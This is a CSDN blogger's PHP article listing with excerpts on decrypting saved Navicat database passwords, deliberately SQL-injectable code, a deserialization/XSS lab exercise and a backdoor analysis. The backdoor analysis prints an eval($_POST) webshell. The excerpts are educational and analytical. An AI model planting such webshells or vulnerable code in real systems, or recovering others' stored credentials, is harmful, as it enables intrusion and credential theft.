php
文章平均质量分 63
shy014
这个作者很懒,什么都没留下…
展开
-
渗透之读取Navicat数据库连接密码
4、将下图位置替换为导出文件的加密后的密码,然后成功解密得到数据库密码。1、导出Navicat中保存的数据库连接。3、打开导出的文件,找到加密后的密码。,然后将下述PHP代码复制进去。2、选择你想要获取的连接。原创 2022-09-14 17:23:47 · 785 阅读 · 0 评论 -
读书笔记—PHP核心技术—类、对象、魔术方法01
定义一个类,并实例化一个对象,给对象赋值,并使对象调用类方法。<?php class person{ public $name; public $gender; public function say(){ echo $this->name,"is",$this->gender; }}$student=new person();$student->name="tom";$student->gender="male";原创 2022-05-03 16:16:24 · 286 阅读 · 0 评论 -
配置submit运行php
1,下载phphttps://www.php.net/选择windows版本下载:选择适合自己的版本:线程安全适合apache,非线程安全适合IIS将下载下来的压缩包进行重命名解压将php.ini-development复制一份重命名成php.ini添加用户变量submit添加编译系统...原创 2020-12-30 19:00:23 · 1222 阅读 · 2 评论 -
PHP反序列化之练习题
pikachu平台反序列化漏洞第一题:反序列化漏洞输出XSS地址:https://www.bihuoedu.com/vul/unserilization/unser.php查看unser.php文件的源码:<?phpclass S{ var $test = "pikachu"; function __construct(){ echo $this->test; }}//O:1:"S":1:{s:4:"test";s:29:"&.原创 2020-11-29 22:17:45 · 1462 阅读 · 0 评论 -
PHP之各种SQL注入源码
数据库设置:union注入源码:<?php $con=mysqli_connect("localhost","root","root");mysqli_select_db($con,'sql');if (mysqli_connect_errno()){ echo "数据库连接出错:".mysql_connect_error();}$id=$_GET["id"];$result=mysqli_query($con,"select * from users where id=原创 2020-11-20 14:59:47 · 4100 阅读 · 0 评论 -
PHP之PDO数据库抽象类库
随着php的快速发展与应用,php需要支持mysql,mssql,oracle等多种数据库,这个时候就需要一个跨数据库平台的统一接口。于是就有了“数据库抽象层”,把数据库连接与数据处理业务区分开,不管是什么数据库,都可以使用一样的接口。PDO的安装PDO类库是PHP自带的库,只需要把php.ini中的相关注释符号去掉。extension=php_pdo.dll extension=php_mysql.dllextension=php_mssql.dll使用PDO操作MySQL...原创 2020-11-18 17:18:11 · 211 阅读 · 0 评论 -
PHP之MySQL数据库连接
PHP 5之前使用mysql扩展连接数据库因为电脑上安装的PHP是7.x因此是出现如下报错,PHP5.x mysql_connect和mysqli_connect都可以使用PHP5之后使用一下方式连接MySQLMySQLi extension("i" 意为 improved) 面向过程 面向对象 PDO (PHP Data Objects)mysqli_connect():连接数据库mysqli_select_db():更改数据库mysqli_close...原创 2020-11-17 21:29:51 · 636 阅读 · 0 评论 -
php之后门分析
这篇文件主要用来分析平时工作中遇到的各种PHP后门文件。1,变形一句话<?php $str=1;function mains($str){ eval($str);}mains($_POST[1]);?>分析:$str=1这个定义的变量我真的没看懂有什么用,删除了仍旧可以执行的这个后门。2,任意文件下载<?phpset_time_limit(0);if(isset($_GET['url']) && isset($_GET['file原创 2020-10-29 20:29:55 · 299 阅读 · 0 评论